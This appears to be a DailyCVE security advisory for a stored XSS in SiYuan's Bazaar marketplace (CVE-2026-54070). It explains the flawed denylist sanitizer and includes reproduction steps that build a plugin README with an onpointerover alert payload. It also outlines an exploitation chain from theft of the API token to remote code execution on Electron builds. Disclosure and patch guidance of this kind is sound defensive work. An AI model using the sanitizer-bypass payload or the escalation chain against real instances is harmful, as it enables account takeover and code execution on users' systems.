SiYuan Bazaar Marketplace, Stored Cross-Site Scripting (XSS), CVE-2026-54070 (High) -DC-Jul2026-866

Listen to this Post

SiYuan is an open-source, privacy-first note-taking and knowledge management application. Its built-in marketplace, known as Bazaar, allows users to browse and install community-developed plugins, themes, templates, and widgets. When an administrator views a package listing in Settings → Marketplace, the application renders the package’s README file from Markdown to HTML using the Lute markdown engine.
The vulnerability stems from a flawed sanitization mechanism in the Lute engine. The sanitizer (render/sanitizer.go) uses a denylist approach for event-handler attributes, rather than an allowlist. The `eventAttrs` map, which serves as the denylist, is copied from the legacy w3schools handler list and omits modern event handlers such as onpointerover, onpointerdown, onauxclick, onbeforetoggle, onfocusin, onanimationstart, and ontransitionend. The `allowAttr(name)` function returns `false` only when `name` exists in this `eventAttrs` map—meaning any attribute not in the denylist is permitted.
The backend function `renderPackageREADME` in `kernel/bazaar/readme.go` builds the Lute engine with `SetSanitize(true)` enabled, but because the denylist is incomplete, malicious event handlers pass through unmodified. The rendered HTML is then sent to the frontend via the `/api/bazaar/getBazaarPackageREADME` endpoint (router.go:423, with CheckAuth). In app/src/config/bazaar.ts, the frontend assigns this unsanitized HTML directly to `mdElement.innerHTML` without any client-side sanitization such as DOMPurify, and the target is a plain `div` in the main document with no iframe or sandbox isolation.
Furthermore, the kernel sends no Content-Security-Policy (CSP), X-Frame-Options, or X-Content-Type-Options headers on any response, so inline event handlers are not blocked by browser security policies. When an administrator has accepted the marketplace trust consent (bazaar.trust, default false) and views a malicious package listing, a single interaction—such as hovering over the README with the pointer, clicking, or focusing—triggers the inline handler and executes arbitrary JavaScript in the authenticated SiYuan origin. No installation of the package is required.
Affected versions: siyuan-note/siyuan <= 3.6.5 (latest release as of 2026-04-21). Confirmed live-exploitable on the `b3log/siyuan:v3.6.5` Docker image; identical code exists on `master` HEAD. The vulnerable Lute dependency is pinned at github.com/88250/lute v1.7.7-0.20260419134724-bb68012f231d.

DailyCVE Form

| Field | Value |

|-|-|

| Platform | SiYuan (self-hosted) |

| Version | <= 3.6.5 |

| Vulnerability | Stored XSS (CWE-79) |

| Severity | High (CVSS 7.1) |

| Date | 2026-05-30 |

| Prediction | Fixed in 3.7.0 |

What Undercode Say: Analytics

The following commands and code snippets demonstrate the vulnerability and its root cause.

Backend: Vulnerable Sanitizer (Lute)

The Lute sanitizer uses a denylist of event attributes, allowing any handler not in the list to pass through:

// render/sanitizer.go:225-232
func allowAttr(name string) bool {
// Returns false only when name exists in eventAttrs map
// This is a denylist, not an allowlist
}

The `eventAttrs` map (lines 235-334) contains legacy w3schools handlers and does not include modern handlers like onpointerover, onpointerdown, onauxclick, onbeforetoggle, onfocusin, onanimationstart, or ontransitionend.

Backend: README Rendering

The `renderPackageREADME` function enables sanitization but relies on the incomplete denylist:

// kernel/bazaar/readme.go:108-118
func renderPackageREADME(...) {
engine := lute.New()
engine.SetSanitize(true) // Sanitization enabled, but denylist is incomplete
// ...
html := engine.Md2HTML(markdown)
return html
}

Frontend: Unsafe innerHTML Assignment

The frontend assigns the rendered HTML directly without client-side sanitization:

// app/src/config/bazaar.ts:600, 609
mdElement.innerHTML = data.preferredReadme; // No DOMPurify
// or
mdElement.innerHTML = response.data.html; // No DOMPurify

Reproduction Steps

Create a malicious plugin with a non-blocklisted event handler:

mkdir -p workspace/data/plugins/evil-plugin
cat > workspace/data/plugins/evil-plugin/plugin.json <<'JSON'
{
"name":"evil-plugin",
"author":"x",
"version":"1.0.0",
"minAppVersion":"3.0.0",
"displayName":{"default":"Evil"},
"description":{"default":"poc"},
"readme":{"default":"README.md"},
"backends":["all"],
"frontends":["all"]
}
JSON
printf '<div onpointerover="alert(document.domain)">plugin description</div>\n' \

<blockquote>
  workspace/data/plugins/evil-plugin/README.md
  

Request the rendered README via the API:

curl -s -X POST http://127.0.0.1:6806/api/bazaar/getInstalledPlugin \
-H "Authorization: Token <API-TOKEN>" \
-H "Content-Type: application/json" \
-d '{"frontend":"all","keyword":""}'

The response contains the handler verbatim:


<div onpointerover="alert(document.domain)">plugin description</div>

Note: A control payload like `` is HTML-escaped and inert, demonstrating that this is a specific gap in the event-handler denylist rather than a general lack of sanitization.

How Exploit

  1. Package Submission: A malicious actor submits a package to the SiYuan Bazaar (community marketplace) with a README containing a non-blocklisted event handler such as onpointerover, onpointerdown, onauxclick, onbeforetoggle, onfocusin, onanimationstart, or ontransitionend.
  2. Administrator Views Listing: An administrator who has accepted the marketplace trust consent (bazaar.trust, default false) navigates to Settings → Marketplace and opens the malicious package’s details page.
  3. Unsanitized Rendering: The backend renders the README using Lute with SetSanitize(true). Because the sanitizer uses an incomplete denylist, the malicious event handler passes through unmodified.
  4. DOM Injection: The frontend assigns the unsanitized HTML to `mdElement.innerHTML` without any client-side sanitization (e.g., DOMPurify).
  5. No CSP Protection: The kernel serves no Content-Security-Policy headers, so inline event handlers are not blocked.
  6. Trigger: A single user interaction—hovering the pointer over the README, clicking, or focusing on the element—triggers the handler.
  7. Code Execution: The JavaScript executes in the administrator’s authenticated SiYuan origin with full access to the kernel API token (conf.api.token), granting full administrative API access.
  8. Pivot to RCE (Desktop builds): On Electron desktop builds with `nodeIntegration: true` and contextIsolation: false, the XSS escalates to full remote code execution.

Protection

  • Upgrade to SiYuan 3.7.0 or later, which fixes this vulnerability.
  • Until upgrade is possible, administrators should avoid browsing the Bazaar marketplace or do not accept the marketplace trust consent (bazaar.trust).
  • Vendor fix: The Lute sanitizer must be updated to use an allowlist for event-handler attributes rather than a denylist, or the `eventAttrs` map must be expanded to include all modern event handlers.
  • Additional hardening: Implement a Content-Security-Policy (CSP) that disallows `unsafe-inline` for script-src.
  • Client-side sanitization: Apply DOMPurify or a similar library to all rendered HTML before assigning it to innerHTML.
  • Sandboxing: Render untrusted content inside an iframe with sandbox attributes to isolate it from the main document.

Impact

  • JavaScript execution in the administrator’s authenticated SiYuan origin on a marketplace package view plus one hover/click/focus interaction.
  • Theft of the kernel API token (conf.api.token), which grants full administrator API access.
  • Pivot to `installBazaarPlugin` and full kernel control; the runtime image ships a shell, enabling arbitrary command execution.
  • A single malicious community package reaches every instance that views its listing.
  • Desktop builds (Electron) escalate to remote code execution (RCE) due to `nodeIntegration: true` and contextIsolation: false.

Credit: Jan Kahmen, turingpoint ([email protected])

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top